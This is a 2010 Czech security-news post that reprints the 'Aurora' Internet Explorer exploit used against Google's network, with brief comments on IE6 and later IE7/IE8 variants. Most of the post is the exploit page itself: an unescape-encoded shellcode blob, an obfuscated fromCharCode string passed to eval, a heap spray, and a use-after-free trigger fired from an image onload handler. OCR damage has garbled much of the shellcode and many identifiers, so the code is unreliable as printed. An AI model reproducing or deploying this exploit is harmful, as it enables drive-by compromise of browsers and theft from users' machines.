Exploit pouzity k utoku na korporatni sit Googlu
Publikovano na serveru Security-Portal.cz (https://www.security-portal.cz)

Exploit pouzity k utoku na korporatni sit Googlu

Vlozil/a cm311k1 [1], 28 Leden, 2010 - 17:48

e Exploit [2]

e Hacking [3]

e Micro$oft [4]

e Programming [5]
e Security [6]

e Top Secret [7]

e Virus & Worms [8]

UPDATE

<ht M ><scri pt >

var sc = unescape("
%9090%19eb%4b5b%3390%90c9%7b80%e901%0175%66¢3%7bb9%8004%0b34%ue2d8%uebf a%
;§$?2ZWMffffWm39319@d8dbWMS7d89m79bC@MdSeSWMd8d89m98539m53d4WMC4a89m53759@d0b09m2f5396
;g;gé1%Mdb59%Md8d8%M3a48%MbOZO%Meaeb%MdeS%MSdbO%Mbdab%MBcaa%m9e53%M30d4%Mda37%Md8d8%)
;;3332@m3081@@dbb9@@d8d8@m213a@mb7bOWMd8b6@mbOd8@Maaad@mb5b4@m538c@@d49e@@0830@@d8da@6
‘lj/zgggoo/m81d9°/m9a30°/md8db°/m3ad8°/mb021(’/mebb4°/md8ea°/mabb00/mbdbO%J8cb4°/m9e53°/m30d4°/mda69%
%2823%d9b2%3081%dbf b%d8d8%213a%3459%ud9d8%ud8d8%10453%1b59%ud858%ud8d8%d8b2%
;;iggb@m27d8@m9c8e9m18eb@m5898@mdbe4@Madd8@M5121@@485e@md8d8@m1fd8@mdbd09mb984@mbdf6@6
;zgigbwmbdaO@MdeS@M11eb9@89899@8f8bWMebSQWM53189@989e9m86309Md8da9m5bd89@d8209m5dd7%)
;ﬁgZZB%Md8b2%Md8bZ%Mdbe%Md8bZ%Mdab2%Md8bO%Md8d8%M8b18%M9e53%m30fc%MdaeS%MdeS%MZOSb@b
;SEEECWMd8d9@m51d8@mb89e@@d8b2@@2788@@f08e@m9e51@@53bc@@485e@@d8d8@m1fd8@@dbdc@@ba84@b
;@tjgiif Yudcdb%ubda0%d8d8%ud8b2%ud8b2%udab2%d8b2%ud8b2%ud8b0%ud8d8%8b98%9e53%u30f c%
3/33238%1205b%1d727%Jc450%Jd8d9%151d8%15cSe%Jd8d8%151d8%5446%d8d8%53d8%b89e%1d8b2%
;ggg§2@m9e53@@88b8@@8e27@m1feO@ma89e@md8d8@md8d8@m9elf@mdSaCWMd8d8@m59d8@md81f@mdea@b
5522339mb0869md8b29m9e559@88a89md8b09@d8dc@@8fd89@ae279@27b89@d08e9m11eb9@d8619@d8dc%)
;22324%M4d27%Md4ac%Ma458%m27d7%macd8%m58dd%md7ac%m4d27%m333a%m1b53%Md8f5%Md8dc%m5bd8%)
;ggig7WM8651@mb2a8@m55d8@mac9e@@2788@@a8ae@m278f@m5c6e@@d8d8@m27d8@@e88e@@3359@@dcd8@6
;ﬁgggb(’/ma7d8°/m277d°/mb8ae%J8e27%J27ec%J5c6e%Jd8d8%J27d8%JecSe%J5e53°/md848°/md8d8°/m4653%
flj/ﬁi?éS%dclf %u84db%uf 6b9%u8bbd%8e27%53f 4%15466%d8d8%u53d8%485e%d8d8%ulf d8%udf dc%
;533?6@m3459@@d9d89md8d8@m0453@md8bO@MdeQ@m8bd8@Md8bO@Md8d9@M8fd8@@d8b29@d8b2@@8e27@6
u53c4
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%ueb23%1eb18%5903%d834%d8da%u53d8%u5b14%8c20%d0a5%c451%5bd9% udc18%u2b33%1453%
;8122bWMebc89@88189@8b899@88889@88889@88889@888f9@53889@d09e9m2f309@d8d89@53d89@e4a6%)
553289@m30d8@md8ef@md8d8@mbbeWMafae@mbOd8@mbOab@mb7bc@m5380@md49e@M6e30@md8d8@m51d8@b
;zigsc@md8dc@md8d8@m7855@m27b8@m2727@mbdb2@mae27@m53e4@mc89e@m42309md8dSWMedeWMSb03@b
;ﬁgggb%m3008%md83d%md8d8%m3459%md9d8%md8d8%m2453%mlf5b%m1fdc%Meadf@m49ac@m1fd4@md09f96
;53289®m9f1f®m78d09m4fbd®m1f139@d49fWMQSSQWMa762®m9f1f9@e6c89@6ec5®m1fel@@cch@MblGO@b
;;ggifWM66CO@Mbea7@m1f78@MC49f@m7124@m75ef@m9flf@m40f8@@08d2@mchO@MeS?Q@MdeS@MSBdS%)
3522239m75049mb0539m53d09m512f9@bc8e9@dcb29m30819@d87bWMd8d89m3a489mbOZO@Meaeb@Md8d8%)
;ﬁgngWMScaa@MdeS3@Mca30@md8d8@m53d8@mb23OWMS1dd@m5030@md8d8@m3adSWMebZIWMSf27@@8e27@b
;igggowme058@mad3l@m59c9@@ddaO@m4848@m4848@mdOac@m2753@@538d@m5534@mdd98@m3827WMe03096
;S§328%me058%m5830%m31e0%mcQad%ma059%m48dd%m4848%Mac48%mb03f%md2d0%md8d8%m9855%m27dd@b
;iggif9@d8d8®m301b@md8c9®@d8d89@c9609@dcd9®m1a589@d8d49@da33®m1b809@21309@27279@8327®6
;ggigOWMd987@m1fbe@Mdde@m3827WMSblb@m0453@mb28b@mbOQS@MCSdS@MdeS@MSBSfWMf89e@m5e30%)
;£;§Z7QM891b@m538eQMe4adWMa053WMa0f69@2ddb9@538e9@f8ae9m2ddb@m11eb9@99919@db759@eb1d%)
552326@m0ee2@md0ac@m1319@mdbdf@m9802@m2933WMC7e3@m3fad@m5386@mf086@m05db@m53be@m93d4@b
552234@m5305@m53dc@mlddeMS673@mlb81@mc230@@2724@@6a27@m3a2a@M6a2c@md7ee@m28cbWMaSQO@b
;sjgzc%Mde4%m7707%mbb63%mOQSl%MBQQ?%MGZQB%Mdfa7%mfa4a%Mc6a8%mbc7c%m4b37%m30ea%m564c@b
;S§i$4®m3eel®m1C40®MC755®M8fac@@d5be®m9b27®m74669@40039@C8d2®m58209m770e®m23429@Cd8b®6
ESZSECWMeZaSWMf7f7@@bdbc@hb7b5@hf6e9@Macbe@ManS@Mbbbb@Mabbd@Mf6ab@Mbbbb@Mbcf7@@b5bd%)
uf 7b7
%ubcb9%ub2f 6%ubf a8%00d8") ;
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707,
;gg: 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224,
ggg: 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350,
ggg: 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819,
ggg: 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805,
ggg: 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707,
ggj: 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798,
ggg: 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840,
gg;: 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array,
for (var i = 0; i < sss.length; i ++ ){

arr[i] = String.fronCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/
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g,

)

cc = cc.replace(/@g, ",");

eval (cc);

var x1 = new Array();

for (i =0; i < 200; i ++){
x1[i] = docunent. createEl enent (" COWENT") ;
x1[i].data = "abc";

}

var el = null;

function evl(evt){
el = docunent. creat eEvent Cbj ect (evt);
docurnent . get El ement Byl d("spl").innerHTM. = ""
wi ndow. set I nterval (ev2, 50);

}

function ev2(){
p ="

\ u0cOd\ u0cOd\ u0cOd\ u0c0Od\ u0c0d\ u0c0d\ u0cO0d\ u0cOd\ u0cOd\ u0cOd\ u0cOd\ u0cOd\ uOcOd\ u
0cOd\ uOcoOd
\ u0cOd\ u0cOd\ u0cOd\ u0cOd\ u0cOd\ u0c0d\ u0c0d\ u0cOd\ u0cOd\ u0cOd\ u0cOd\ u0cOd\ uOcOd\ u
0cOd\ uOcod
\ u0cOd\ u0cOd\ u0cOd\ uoc0od\ u0c0d\ u0c0d\ u0c0d\ u0cOd\ u0cOd\ u0cOd\ u0cOd\ uocod"

for (i =0; i <xl.length; i ++ ){

x1[i].data = p;
}

var t = el.srcEl enent;

}

</script><span id="spl"><|I M5 SRC-"aaa. gi f" onl oad="evl(event)"></span></body></html >

The "Aurora" IE Exploit in Action [9] from The Crew of Praetorian Prefect [10] on Vimeo [11].

Exploit pocitd s kombinaci Windows XP a IE6, ale nemélo by byt tezké kéd uzplsobit k vyuziti dalsi
chyby [12] v superbezpeéném IE7 az IES8.

Zdroj: http://wepawet.iseclab.org [13]

UPDATE:
Vyzkumnici vytvofili exploity pro IE7 a IE8 a dokazali tak, ze neni dérava pouze verze 6.
http://www.computerworld.com/s/article/9145958/Researchers up_ante creat... [14]

URL c¢lanku:
https://www.security-portal.cz/clanky/exploit-pou%C5%BEit%C3%BD-k-%C3%BAtoku-na-korpor%C3
%A1tN%C3%AD-s%C3%AD%C5%A5-googlu

Odkazy:
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